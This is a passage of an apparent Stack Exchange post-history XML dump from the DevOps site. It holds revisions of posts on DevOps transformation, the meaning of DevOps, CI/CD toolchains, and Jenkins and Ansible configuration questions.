infrastructure from Product X.&#xD;&#xA;   - Automate the delivery of Product X into Azure across all environments.&#xD;&#xA;   - Hand-back support from outsourcer Y to a development team in London.&#xD;&#xA;   - Create a set of tests around our riskiest feature and run them in continuous integration.&#xD;&#xA; 2. Great you have some success under your belt now it is time to start baking this into more teams, add another couple of teams into the mix and get them up and running.  Don't be afraid to offer &quot;White Glove Support&quot; at first to assist them in the transition; they will need a lot of hand-holding over the coming weeks and months.&#xD;&#xA; 3. Now you have several early adopters following a new way of working; you have some critical mass, it is time to start evangelising the work you are doing with a wider audience:&#xD;&#xA;    - Hold regular **show-and-tell** sessions ask the early adopters to demonstrate how successful they have been.&#xD;&#xA;    - Offer **drop-in sessions** to allow other parts of the organisation to explore how they can come on board with your team.&#xD;&#xA;    - Enable the creation of [**Communities of Practice**][5] focusing on specific disciplines: Continuous Deployment, Automated Testing, Business Communication, Risk Management, Monitoring and Alerting, etc.&#xD;&#xA; 4. Stay the course and close off the transformation by onboarding the rest of the organisation.  Understand the relationship between the [Gartner Hype Cycle][6] and the [Adoption Lifecycle][7].  Prepare for the Transformation Programme to fall into the &quot;Trough of Disillusionment&quot;, stay the course and keep the end goal in sight.&#xD;&#xA;&#xD;&#xA;  [![Gartner Hype Cycle vs. Adoption Curve][8]][8]&#xD;&#xA;&#xD;&#xA;For a deeper exploration of the final point read Geoffrey A. Moore's [Crossing the Chasm][9]. I could quite literally write a book about how to deliver a DevOps transformation, however by the time I had finished it there would probably be no more DevOps transformation work for me to do.&#xD;&#xA;&#xD;&#xA;  [1]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [2]: https://i.stack.imgur.com/8ovVm.png&#xD;&#xA;  [3]: https://devops.stackexchange.com/a/46/397&#xD;&#xA;  [4]: https://www.amazon.co.uk/Site-Reliability-Engineering-Production-Systems/dp/149192912X&#xD;&#xA;  [5]: http://wenger-trayner.com/introduction-to-communities-of-practice/&#xD;&#xA;  [6]: http://www.gartner.com/technology/research/methodologies/hype-cycle.jsp&#xD;&#xA;  [7]: https://ondigitalmarketing.com/learn/odm/foundations/5-customer-segments-technology-adoption/&#xD;&#xA;  [8]: https://i.stack.imgur.com/p2UKT.png&#xD;&#xA;  [9]: https://www.amazon.com/Crossing-Chasm-3rd-Disruptive-Mainstream/dp/0062292986" ContentLicense="CC BY-SA 3.0" />
  <row Id="2910" PostHistoryTypeId="5" PostId="788" RevisionGUID="8faef4e9-dbb2-4576-ae1e-cc74a71fc990" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I've done / created lots of SCM related presentations, and now I'm trying to &quot;upgrade&quot; to a DevOps successor of it.&#xD;&#xA;&#xD;&#xA;What I always try to do in my presentations, is to come up with an introduction slide which somehow includes the message I want to deliver (and which I then elaborate on in the rest of my presentation). When doing so, I try to answer my own question like &quot;What would me 1 to 3 phrases be that I'd want to use if I got like 10 to 20 secs (only!) to explain it to somebody new to it?*&quot;.&#xD;&#xA;&#xD;&#xA;I thought I knew what ***DevOps*** actually means, and what it is about. But I've seen some bizarre usages/contexts of *DevOps* (even on [DevOps.SE][1] ...). It makes me wonder if maybe what I think DevOps is, is completely wrong.&#xD;&#xA;&#xD;&#xA;So what is generally agreed to be the definition of DevOps?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2911" PostHistoryTypeId="5" PostId="800" RevisionGUID="f7e93cfc-c923-49b9-bc42-6daf2a20564a" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Somewhat stealing from [Ian Margett's][1] [answer][2] as the architecture is common amongst most Microsoft/.NET development organizations, the high-level target operating model for looks something like this:&#xD;&#xA;&#xD;&#xA;[![.NET Target Operating Model][3]][3]&#xD;&#xA;&#xD;&#xA;The goal is to create a Continuous Deployment pipeline, using existing off-the-shelf software, namely [TeamCity][4], [ProGet][5], [SonarQube][6] and [Octopus Deploy][7]:&#xD;&#xA;&#xD;&#xA; - **GitHub** is the source code management tool, however, it could be BitBucket or Visual Studio Team Services.  The branching model and code review process are out of scope at this high level.&#xD;&#xA; - **TeamCity** is chosen as the Build System due to its tight integration with Octopus Deploy and good all-round support for .NET, msbuild and PowerShell.  TeamCity is also used as the orchestrator of deployments in Octopus Deploy.&#xD;&#xA; - **ProGet** is the package management solution which both stores Octopus Packages and proxies public package/image repositories.  The rationale for not using the built-in TeamCity NuGet store is purely for scalability reasons.&#xD;&#xA; - **SonarQube** provides continuous code quality management and reports are published as part of the TeamCity build outputs.&#xD;&#xA; - **Octopus Deploy** is used as the deployment tool for both infrastructure and code into the target platforms.&#xD;&#xA;&#xD;&#xA;I've seen this broad approach implemented across two companies and successfully implemented it in two additional companies - in the most recent case we swapped TeamCity out for AppVeyor which worked, albeit a little painful when setting up firewall rules.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/1163/ian-margetts&#xD;&#xA;  [2]: https://devops.stackexchange.com/a/792/397&#xD;&#xA;  [3]: https://i.stack.imgur.com/rT3rA.png&#xD;&#xA;  [4]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [5]: https://inedo.com/proget&#xD;&#xA;  [6]: https://www.sonarqube.org/&#xD;&#xA;  [7]: https://octopus.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2912" PostHistoryTypeId="5" PostId="804" RevisionGUID="2eaf432d-d9f2-4420-a484-eb7d12ebe340" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I'd argue Devops Engineer as described in your [question link](http://insights.dice.com/2014/10/30/sample-job-description-devops-engineer/) is mainly a sysadmin role.  Quoting the skills here for background to this answer:&#xD;&#xA;&#xD;&#xA;&gt; Your climbing gear.&#xD;&#xA;&gt;&#xD;&#xA;&gt; - Strong background in Linux/Unix Administration&#xD;&#xA;experience with automation/configuration management using either Puppet, Chef or an equivalent&#xD;&#xA;&gt; - Ability to use a wide variety of open source technologies and cloud services (experience with AWS is required)&#xD;&#xA;&gt; - Strong experience with SQL and MySQL (NoSQL experience is a plus, too, since we also use Redis)&#xD;&#xA;&gt; - A working understanding of code and script (PHP, Python, Perl and/or Ruby)&#xD;&#xA;- Knowledge of best practices and IT operations in  an always-up, always-available service&#xD;&#xA;&#xD;&#xA;In this sample job description DevOps Engineer is just a buzz word for a sysadmin comfortable with cloud based infrastructure, automation, able to read code to help in diagnostic, and aware of high availability practices and solutions.&#xD;&#xA;&#xD;&#xA;This is loosely related to DevOps practices and silo breaking culture between dev and ops as seen in this question [What is the difference between Sysadmin and DevOps Engineer?](https://devops.stackexchange.com/q/157/13)&#xD;&#xA;&#xD;&#xA;It won't be a good idea because a sysadmin, how comfortable he/she can be with devops practice and culture, is not the right person to drive a company transformation. You won't be hiring this person with a culture change in mind but with a tool configuration view, which won't really help breaking the processes. This may also be badly received by his/her colleagues and you'll just bring resistance to the change if there's no culture change planned beforehand&#xD;&#xA;&#xD;&#xA;For a successful pattern toward the gains of devops, @[Jiri Klouda](https://devops.stackexchange.com/users/228/jiri-klouda)'s [answer]((https://devops.stackexchange.com/a/801/13)) gives a great overview on an acceptable DevOps Engineer role along with the step in the change it would bring value and help toward success." ContentLicense="CC BY-SA 3.0" />
  <row Id="2913" PostHistoryTypeId="5" PostId="806" RevisionGUID="ed9743ca-dd4d-4d90-8db9-03e091f52563" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="### DevOps in a nutshell&#xD;&#xA;&#xD;&#xA;From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps (a [clipped compound][2] of &quot;[software **DEV**elopment][3]&quot; and &quot;[information technology **OP**eration**S**][4]&quot;) is a term used to refer to a set of practices that emphasize the collaboration and communication of both [software developers][5] and [information technology][6] (IT) professionals while automating the process of [software delivery][7] and infrastructure changes.&#xD;&#xA;&#xD;&#xA;&gt; It aims at establishing a culture and environment where [building][8], [testing][9], and [releasing software][10] can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;From [Overview][11]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][12]][12]&#xD;&#xA;&gt; &#xD;&#xA;&gt; Venn diagram showing DevOps as the intersection of [development][3]&#xD;&#xA;&gt; (software engineering), [operations][4] and [quality assurance][13]&#xD;&#xA;&gt; (QA)&#xD;&#xA;&#xD;&#xA;While there is no single &quot;tool&quot; for DevOps, but rather a set of tools, also known as a [DevOps toolchain][14]:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][16]][16]&#xD;&#xA;&gt; &#xD;&#xA;&gt; Illustration showing stages in a DevOps toolchain&#xD;&#xA;&#xD;&#xA;### Illustrations of DevOps&#xD;&#xA;&#xD;&#xA;Below are a few quotes from some of the questions on [DevOps.SE][17], which all seem to somehow fit / confirm part of the DevOps description above:&#xD;&#xA;&#xD;&#xA;- From 'https://devops.stackexchange.com/q/86/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is about maintaining code ...&#xD;&#xA;&#xD;&#xA;- From (an [answer][18] to) 'https://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;- From 'https://devops.stackexchange.com/q/333/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps ...&#xD;&#xA;&#xD;&#xA;### DevOps is NOT a role&#xD;&#xA;&#xD;&#xA;Below are a few quotes from some of the questions on [DevOps.SE][17], which all seem to illustrate that DevOps is **NOT** a role:&#xD;&#xA;&#xD;&#xA;- From (an [answer][19] to) 'https://devops.stackexchange.com/q/157/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... DevOps is not a role (when used as such it's more a buzzword than a real role).&#xD;&#xA;&#xD;&#xA;- From (an [answer][18] to) 'https://devops.stackexchange.com/q/468/40':&#xD;&#xA;&#xD;&#xA;  &gt; ... It is a common misbelief that “DevOps” is a role in a company. The word merely denotes an organisational shift in software companies ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Clipped_compound&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Software_development&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Information_technology_operations&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Software_developer&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Information_technology&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Software_delivery&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/Software_build&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Software_testing&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Software_release_life_cycle&#xD;&#xA;  [11]: https://en.wikipedia.org/wiki/DevOps#Overview&#xD;&#xA;  [12]: https://i.stack.imgur.com/odnjG.png&#xD;&#xA;  [13]: https://en.wikipedia.org/wiki/Quality_assurance&#xD;&#xA;  [14]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [15]: https://en.wikipedia.org/wiki/DevOps#DevOps_toolchain&#xD;&#xA;  [16]: https://i.stack.imgur.com/kKb3O.png&#xD;&#xA;  [17]: https://devops.stackexchange.com/&#xD;&#xA;  [18]: https://devops.stackexchange.com/a/474/40&#xD;&#xA;  [19]: https://devops.stackexchange.com/a/160/40" ContentLicense="CC BY-SA 3.0" />
  <row Id="2914" PostHistoryTypeId="5" PostId="821" RevisionGUID="00162053-07c1-4286-ab0e-fe3f2aef9834" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="I have been practising and advising on DevOps as a consultant with different clients for almost five years now, before my current position, I held roles in software development, web operations and systems administration.  In my **personal** experience DevOps comes in many flavours.&#xD;&#xA;&#xD;&#xA;Organization Patterns&#xD;&#xA;=====================&#xD;&#xA;&#xD;&#xA;DevOps Antipatterns:&#xD;&#xA;&#xD;&#xA; - **NoOps** and **NoDevs** - not strictly DevOps in the most strict sense, however, these teams both build and operate software without a dividing line between Development and Operations.  The challenges with these teams come down to maturity, Development teams may be expert Software Developers but novice Operators and visa versa.&#xD;&#xA;&#xD;&#xA; - **The DevOps Bridge** - this is where one or more teams are given responsibility for taking work from the development teams and &quot;[Productionizing][1]&quot; it to make it operable.  The challenge comes down to now there are two hand-offs, i.e. Development → DevOps and DevOps → Operations.&#xD;&#xA;&#xD;&#xA; - **The DevOps Team** - this can, arguably, work if the team has responsibility for building tools that support the DevOps enabled Operating Model, however, it should probably be called a &quot;Tools Team&quot; or &quot;Platform Team&quot;.&#xD;&#xA;&#xD;&#xA;DevOps Patterns:&#xD;&#xA;&#xD;&#xA; - **Embedded DevOps** - more commonly referred to as Platform Engineering, whereby there is someone within the team who is *accountable but not responsible* for delivering automation, tools and infrastructure for the provisioning and deployment of the solution, sometimes also including operating the software - in my mind, it's the latter that is actually representative of DevOps.&#xD;&#xA;&#xD;&#xA; - **Institutionalized DevOps** - where a project team jointly is responsible for both development and operation of a software package building shared ownership and positive feedback loops.&#xD;&#xA;&#xD;&#xA;Practices&#xD;&#xA;=========&#xD;&#xA;&#xD;&#xA;The actual practice of DevOps builds on top of several other practices, namely:&#xD;&#xA;&#xD;&#xA; - [Agile Delivery][2]&#xD;&#xA; - [Continuous Integration][3]&#xD;&#xA; - [Continuous Delivery][4]&#xD;&#xA; - [Continuous Deployment][5]&#xD;&#xA;&#xD;&#xA;Each of the above practices builds upon the other, it's possible to **not** follow a practice, however, it means an important feedback cycle is missing which may be indicative of a &quot;missed opportunity&quot;.  The key differentiator between following any of the other practices and DevOps is the *operation of software in production*.&#xD;&#xA;&#xD;&#xA;[![DevOps Practices][6]][6]&#xD;&#xA;&#xD;&#xA;The Three Ways&#xD;&#xA;==============&#xD;&#xA;&#xD;&#xA;In [The Phoenix Project][7] Gene Kim and his co-authors describes the [three ways of DevOps][8]:&#xD;&#xA;&#xD;&#xA;Systems Thinking&#xD;&#xA;----------------&#xD;&#xA;&#xD;&#xA;[![Systems Thinking][9]][9]&#xD;&#xA;&#xD;&#xA;&gt; The First Way emphasizes the performance of the entire system, as opposed to the performance of a specific silo of work or department — this as can be as large a division (e.g., Development or IT Operations) or as small as an individual contributor (e.g., a developer, system administrator).&#xD;&#xA;&#xD;&#xA;In my experience starting to get Developers to consider Operational Concerns and Non-functional requirements achieves this goal.  This is very much part of the *culture* aspects of DevOps.&#xD;&#xA;&#xD;&#xA;Amplification of Feedback Loops&#xD;&#xA;-------------------------------&#xD;&#xA;&#xD;&#xA;[![Amplification of Feedback Loops][10]][10]&#xD;&#xA;&#xD;&#xA;&gt; The Second Way is about creating the right to left feedback loops. The goal of almost any process improvement initiative is to shorten and amplify feedback loops so necessary corrections can be continually made.&#xD;&#xA;&#xD;&#xA;I generally achieve this through Continuous Integration/Delivery/Deployment and shared monitoring and alerting, thus it very much fits in with the **tools** component of DevOps.&#xD;&#xA;&#xD;&#xA;Culture of Continuous Experimentation and Learning&#xD;&#xA;--------------------------------------------------&#xD;&#xA;&#xD;&#xA;[![Culture of Continuous Experimentation and Learning][11]][11]&#xD;&#xA;&#xD;&#xA;&gt; The Third Way is about creating a culture that fosters two things: continual experimentation, taking risks and learning from failure; and understanding that repetition and practice is the prerequisite to mastery.&#xD;&#xA;&#xD;&#xA;This fits very much in the *culture* space, although it depends heavily on tools and process to enable the culture to grow.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Productionisation&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [3]: https://www.thoughtworks.com/continuous-integration&#xD;&#xA;  [4]: https://devops.stackexchange.com/questions/tagged/continuous-delivery&#xD;&#xA;  [5]: https://devops.stackexchange.com/questions/tagged/continuous-deployment&#xD;&#xA;  [6]: https://i.stack.imgur.com/LCGnq.png&#xD;&#xA;  [7]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xD;&#xA;  [8]: http://itrevolution.com/the-three-ways-principles-underpinning-devops/&#xD;&#xA;  [9]: https://i.stack.imgur.com/6LVx9.png&#xD;&#xA;  [10]: https://i.stack.imgur.com/RHMCx.png&#xD;&#xA;  [11]: https://i.stack.imgur.com/41mm9.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="2915" PostHistoryTypeId="5" PostId="822" RevisionGUID="57529c2f-1ce5-4246-aa31-f67fc15b1a7f" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="In a typical Continuous Delivery/Deployment pipeline you would have the following happen:&#xD;&#xA;&#xD;&#xA; 1. Developer pushes one or more commits, or, a pull request is merged.&#xD;&#xA; 2. Jenkins automatically builds and executes tests.&#xD;&#xA; 3. If successful Jenkins publishes a deployment package to an Artefact Repository; if failure publishes nothing and notify developers.&#xD;&#xA; 4. Deployment automation uses packages from the Artefact Repository and deploys them.&#xD;&#xA;&#xD;&#xA;[![Simple CI/CD Pipeline][1]][1]&#xD;&#xA;&#xD;&#xA;The goal is to avoid **building** the solution from source twice, you build it once and deploy it many times.  You can implement approvals in [Sonartype Nexus][2] to define the environment approval process, i.e. Dev → Test → UAT → Stage → Production.&#xD;&#xA;&#xD;&#xA;**That said...** if you have read all of the previous and still want to get the latest green build from source control then you can use one of two techniques:&#xD;&#xA;&#xD;&#xA; 1. Have Jenkins tag the branch with a suitably named tag, i.e. `master-green` then use that instead of `master` when you want the latest green build.&#xD;&#xA; 2. Use the BitBucket [commits][3] to get a list of commits and [commit/{sha}/statuses][4] over each one to find the commit with a Green status.  I have expanded on this solution in [another answer][5].&#xD;&#xA;&#xD;&#xA;Feel free to post a follow-up question if you would like the specific detail on how to use the above approaches.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/xy8NS.png&#xD;&#xA;  [2]: https://www.sonatype.com/nexus-repository-sonatype&#xD;&#xA;  [3]: https://api.bitbucket.org/2.0/repositories/tutorials/tutorials.bitbucket.org/commits&#xD;&#xA;  [4]: https://api.bitbucket.org/2.0/repositories/tutorials/tutorials.bitbucket.org/commit/f25983afbdd4d09811fe750d53d3ff7a857f941b/statuses&#xD;&#xA;  [5]: https://devops.stackexchange.com/a/832/397" ContentLicense="CC BY-SA 3.0" />
  <row Id="2916" PostHistoryTypeId="2" PostId="883" RevisionGUID="d48af017-58a6-43ce-90fd-67e041eb984f" CreationDate="2017-04-13T13:39:33.417" UserId="2306" Text="I've been in various facets of Software development over the past 10+ years. I started in development side of the ALM cycle, and more recently I've been working in the QA side of ALM. &#xD;&#xA;&#xD;&#xA;One thing that has consistently bothered me was all the different companies that I've worked for tried to embrace an effective ALM process but in the end it usually turned out to be a half-baked scrum methodology that had all the different department leads debating about the right and wrong ways to implement ALM processes. &#xD;&#xA;&#xD;&#xA;I've been currently researching DevOps in hopes that I can shift my career to a direction that will allow me to better contribute to a companies ALM process. &#xD;&#xA;&#xD;&#xA;I guess to sum it up I have quite a bit of experience in Dev, QA, and General IT but I wouldn't consider myself an absolute expert in either area.&#xD;&#xA;&#xD;&#xA;I was wondering if anyone had and suggestions, advice, recommended reading etc... &#xD;&#xA;&#xD;&#xA;I have a subscription to the Books24x7 repository so if you recommend a book could you include the isbn number (its easier to search for it that way)&#xD;&#xA;&#xD;&#xA;I appreciate any ones input &#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;Dean" ContentLicense="CC BY-SA 3.0" />
  <row Id="2917" PostHistoryTypeId="1" PostId="883" RevisionGUID="d48af017-58a6-43ce-90fd-67e041eb984f" CreationDate="2017-04-13T13:39:33.417" UserId="2306" Text="Looking at a Career jump into DevOps an advice or suggested reading" ContentLicense="CC BY-SA 3.0" />
  <row Id="2918" PostHistoryTypeId="3" PostId="883" RevisionGUID="d48af017-58a6-43ce-90fd-67e041eb984f" CreationDate="2017-04-13T13:39:33.417" UserId="2306" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;&lt;scm&gt;&lt;process&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2919" PostHistoryTypeId="5" PostId="883" RevisionGUID="ce3bd61f-0049-498a-a830-cbd331f9060c" CreationDate="2017-04-13T13:42:24.423" UserId="13" Comment="Reviewed tags and removed the unnecessary greetings" Text="I've been in various facets of Software development over the past 10+ years. I started in development side of the ALM cycle, and more recently I've been working in the QA side of ALM. &#xD;&#xA;&#xD;&#xA;One thing that has consistently bothered me was all the different companies that I've worked for tried to embrace an effective ALM process but in the end it usually turned out to be a half-baked scrum methodology that had all the different department leads debating about the right and wrong ways to implement ALM processes. &#xD;&#xA;&#xD;&#xA;I've been currently researching DevOps in hopes that I can shift my career to a direction that will allow me to better contribute to a companies ALM process. &#xD;&#xA;&#xD;&#xA;I guess to sum it up I have quite a bit of experience in Dev, QA, and General IT but I wouldn't consider myself an absolute expert in either area.&#xD;&#xA;&#xD;&#xA;I was wondering if anyone had and suggestions, advice, recommended reading etc... &#xD;&#xA;&#xD;&#xA;I have a subscription to the Books24x7 repository so if you recommend a book could you include the isbn number (its easier to search for it that way)&#xD;&#xA;&#xD;&#xA;I appreciate any ones input " ContentLicense="CC BY-SA 3.0" />
  <row Id="2920" PostHistoryTypeId="6" PostId="883" RevisionGUID="ce3bd61f-0049-498a-a830-cbd331f9060c" CreationDate="2017-04-13T13:42:24.423" UserId="13" Comment="Reviewed tags and removed the unnecessary greetings" Text="&lt;culture&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2921" PostHistoryTypeId="5" PostId="883" RevisionGUID="e0823c35-5925-4452-8d51-ad06abe7d0ab" CreationDate="2017-04-13T13:44:56.817" UserId="2306" Comment="added 18 characters in body" Text="I've been in various facets of Software development over the past 10+ years. I started in the development side of the ALM cycle, and more recently I've been working in the QA side of ALM. &#xD;&#xA;&#xD;&#xA;One thing that has consistently bothered me was all the different companies that I've worked for tried to embrace an effective ALM process but in the end it usually turned out to be a half-baked implementation of a scrum methodology that had all the different team leads debating about the right and wrong ways to implement ALM processes. &#xD;&#xA;&#xD;&#xA;I've been currently researching DevOps in hopes that I can shift my career to a direction that will allow me to better contribute to a companies ALM process. &#xD;&#xA;&#xD;&#xA;I guess to sum it up I have quite a bit of experience in Dev, QA, and General IT but I wouldn't consider myself an absolute expert in either area.&#xD;&#xA;&#xD;&#xA;I was wondering if anyone had and suggestions, advice, recommended reading etc... &#xD;&#xA;&#xD;&#xA;I have a subscription to the Books24x7 repository so if you recommend a book could you include the isbn number (its easier to search for it that way)&#xD;&#xA;&#xD;&#xA;I appreciate any ones input " ContentLicense="CC BY-SA 3.0" />
  <row Id="2922" PostHistoryTypeId="4" PostId="883" RevisionGUID="17680a67-bd9d-49cb-8e9a-2b2947054f9b" CreationDate="2017-04-13T13:59:09.113" UserId="13" Comment="edited title" Text="Looking at a Career jump into DevOps and advice or suggested reading" ContentLicense="CC BY-SA 3.0" />
  <row Id="2923" PostHistoryTypeId="5" PostId="883" RevisionGUID="9b3e9a91-bc15-44fa-9a17-6f548bbe8e35" CreationDate="2017-04-13T14:31:22.720" UserId="40" Comment="remove noise" Text="I've been in various facets of Software development over the past 10+ years. I started in the development side of the ALM cycle, and more recently I've been working in the QA side of ALM. &#xD;&#xA;&#xD;&#xA;One thing that has consistently bothered me was all the different companies that I've worked for tried to embrace an effective ALM process but in the end it usually turned out to be a half-baked implementation of a scrum methodology that had all the different team leads debating about the right and wrong ways to implement ALM processes. &#xD;&#xA;&#xD;&#xA;I've been currently researching DevOps in hopes that I can shift my career to a direction that will allow me to better contribute to a companies ALM process. &#xD;&#xA;&#xD;&#xA;I have quite a bit of experience in Dev, QA, and General IT but I wouldn't consider myself an absolute expert in either area.&#xD;&#xA;&#xD;&#xA;Any suggestions, advice, recommended reading, etc?&#xD;&#xA;&#xD;&#xA;If you recommend a book could you include the ISBN number (it's easier to search for it that way)." ContentLicense="CC BY-SA 3.0" />
  <row Id="2924" PostHistoryTypeId="2" PostId="884" RevisionGUID="c1507208-acb1-4df1-99ef-7e8fbff816e7" CreationDate="2017-04-13T15:28:44.960" UserId="1033" Text="I use the [Build timeout plugin][1] to alert when jobs are stuck. I have one job that triggers this alert because it contains a step with a long execution time. I would like to disable the build timeout plugin but only for that job, is there a way to do so? I'm using Jenkins v2.22.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Build-timeout+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2925" PostHistoryTypeId="1" PostId="884" RevisionGUID="c1507208-acb1-4df1-99ef-7e8fbff816e7" CreationDate="2017-04-13T15:28:44.960" UserId="1033" Text="Is there a way to disable a Jenkins plugin for a single job?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2926" PostHistoryTypeId="3" PostId="884" RevisionGUID="c1507208-acb1-4df1-99ef-7e8fbff816e7" CreationDate="2017-04-13T15:28:44.960" UserId="1033" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2927" PostHistoryTypeId="2" PostId="885" RevisionGUID="4e36d849-6c03-49c3-9bd0-cf9c88fc7f16" CreationDate="2017-04-13T15:31:13.043" UserId="736" Text="I have a job that will create files, unless one of the values being fed to it matches an older value. What's the cleanest way in Jenkins to abort or exit the job, **without** it being `FAILED`? It exiting is the correct behavior so I want the build marked `SUCCESS`.&#xD;&#xA;&#xD;&#xA;It'll end up in an if statement like so;&#xD;&#xA;&#xD;&#xA;    stage ('Check value') {&#xD;&#xA;    &#xD;&#xA;         if( $VALUE1 == $VALUE2 ) {&#xD;&#xA;           //if they do match exit as a success, else continue with the rest of the job &#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I don't want to throw an error code unless that can somehow translate into it being marked a successful build." ContentLicense="CC BY-SA 3.0" />
  <row Id="2928" PostHistoryTypeId="1" PostId="885" RevisionGUID="4e36d849-6c03-49c3-9bd0-cf9c88fc7f16" CreationDate="2017-04-13T15:31:13.043" UserId="736" Text="Cleanest way to prematurely exit a Jenkins Pipeline job as a success?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2929" PostHistoryTypeId="3" PostId="885" RevisionGUID="4e36d849-6c03-49c3-9bd0-cf9c88fc7f16" CreationDate="2017-04-13T15:31:13.043" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2930" PostHistoryTypeId="5" PostId="884" RevisionGUID="e9cac655-9462-4c43-83f3-a9a680357924" CreationDate="2017-04-13T15:55:07.207" UserId="1033" Comment="added 152 characters in body" Text="I use the [Build timeout plugin][1] to alert when jobs are stuck. I have one job that triggers this alert because it contains a step with a long execution time. I would like to disable the build timeout plugin but only for that job, is there a way to do so? I'm using Jenkins v2.22.&#xD;&#xA;&#xD;&#xA;Edit: we don't use the built-in option for the job not to terminate on timeout, we use sensu plugins to monitor the state of the likelyStuck variable.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Build-timeout+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2931" PostHistoryTypeId="5" PostId="884" RevisionGUID="8d304ad1-b900-4df3-8f36-2148aca4e6eb" CreationDate="2017-04-13T15:55:54.880" UserId="13" Comment="deleted 6 characters in body" Text="I use the [Build timeout plugin][1] to alert when jobs are stuck. I have one job that triggers this alert because it contains a step with a long execution time. I would like to disable the build timeout plugin but only for that job, is there a way to do so? I'm using Jenkins v2.22.&#xD;&#xA;&#xD;&#xA;We don't use the built-in option for the job not to terminate on timeout, we use sensu plugins to monitor the state of the likelyStuck variable.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Build-timeout+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2936" PostHistoryTypeId="2" PostId="887" RevisionGUID="b5eac78d-99fc-4dd5-b929-a76998765ad1" CreationDate="2017-04-13T17:36:29.043" UserId="736" Text="Figured it out. Outside of any stages (otherwise this will just end the particular stage as a success) do the following;&#xD;&#xA;&#xD;&#xA;    if( $VALUE1 == $VALUE2 ) {&#xD;&#xA;       currentBuild.result = 'SUCCESS'&#xD;&#xA;       return&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;`return` will stop the stage or node you're running on which is why running it outside of a stage is important, while setting the `currentBuild.result` prevents it failing." ContentLicense="CC BY-SA 3.0" />
  <row Id="2939" PostHistoryTypeId="2" PostId="888" RevisionGUID="06684d4f-f579-4a09-a70f-d7f4dbb6c3e9" CreationDate="2017-04-14T07:42:55.430" UserId="210" Text="It is unclear why it failed, but setting `vault_password_file = ~/.vault_pass.txt` in `/etc/ansible/ansible.cfg` was sufficient." ContentLicense="CC BY-SA 3.0" />
